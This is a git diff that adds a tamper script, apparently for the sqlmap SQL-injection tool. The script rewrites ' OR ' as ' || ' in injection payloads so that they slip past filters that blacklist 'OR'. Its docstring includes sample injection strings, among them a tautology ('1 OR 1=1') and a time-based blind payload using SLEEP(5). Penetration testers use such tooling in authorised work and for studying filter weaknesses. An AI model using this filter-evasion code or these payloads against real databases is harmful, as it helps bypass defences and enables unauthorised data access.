diff --git a/tamper/or2logicaloroperator.py b/tamper/or2logicaloroperator.py
new file mode 100644
index 000000000..fccd0dc49
--- /dev/null
+++ b/tamper/or2logicaloroperator.py
@@ -0,0 +1,29 @@
+#!/usr/bin/env python3
+"""
+Tamper script to replace logical OR with double pipe (||)
+Useful for evading weak filters that blacklist 'OR'
+
+Author: relunsec
+
+"""
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.LOW
+
+def tamper(payload, **kwargs):
+    """
+    Replaces instances of logical OR with || operator
+
+    Example:
+        Input: 1 OR 1=1
+        Output: 1 || 1=1
+    Requirement:
+        * MySQL
+    >>> tamper("0' OR SLEEP(5)")
+    "0' || SLEEP(5)"
+    """
+    if payload:
+        # Replace only ' OR ' (with spaces) to avoid breaking string literals
+        payload = payload.replace(" OR ", " || ")
+    return payload